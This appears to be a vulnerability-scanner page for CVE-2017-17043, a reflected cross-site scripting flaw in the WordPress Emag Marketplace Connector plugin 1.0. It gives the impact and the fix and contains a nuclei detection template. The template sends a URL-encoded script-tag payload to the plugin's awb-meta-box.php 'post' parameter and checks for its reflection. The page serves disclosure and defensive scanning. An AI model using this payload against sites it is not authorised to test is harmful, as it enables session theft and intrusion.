WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.1%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter "post" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.

Impact

Successful exploitation of this vulnerability could lead to the theft of sensitive information, session hijacking, or the execution of arbitrary code in the context of the affected user.

Fix

Update to the latest version of the WordPress Emag Marketplace Connector plugin (1.1) or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/emag-marketplace-connector/"
Send: GET {{BaseURL}}/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?post=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-17043 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-17043

info:
  name: WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter "post" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.
  impact: |
    Successful exploitation of this vulnerability could lead to the theft of sensitive information, session hijacking, or the execution of arbitrary code in the context of the affected user.
  remediation: |
    Update to the latest version of the WordPress Emag Marketplace Connector plugin (1.1) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wordpress.org/support/topic/wordpress-emag-marketplace-connector-1-0-cross-site-scripting-vulnerability/
    - https://packetstormsecurity.com/files/145060/wpemagmc10-xss.txt
    - https://wpvulndb.com/vulnerabilities/8964
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17043
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17043
    cwe-id: CWE-79
    epss-score: 0.05096
    epss-percentile: 0.9243
    cpe: cpe:2.3:a:zitec:emag_marketplace_connector:1.0.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: zitec
    product: "emag_marketplace_connector"
    framework: wordpress
  tags: cve,cve2017,xss,wp-plugin,packetstorm,wordpress,zitec,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/emag-marketplace-connector/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?post=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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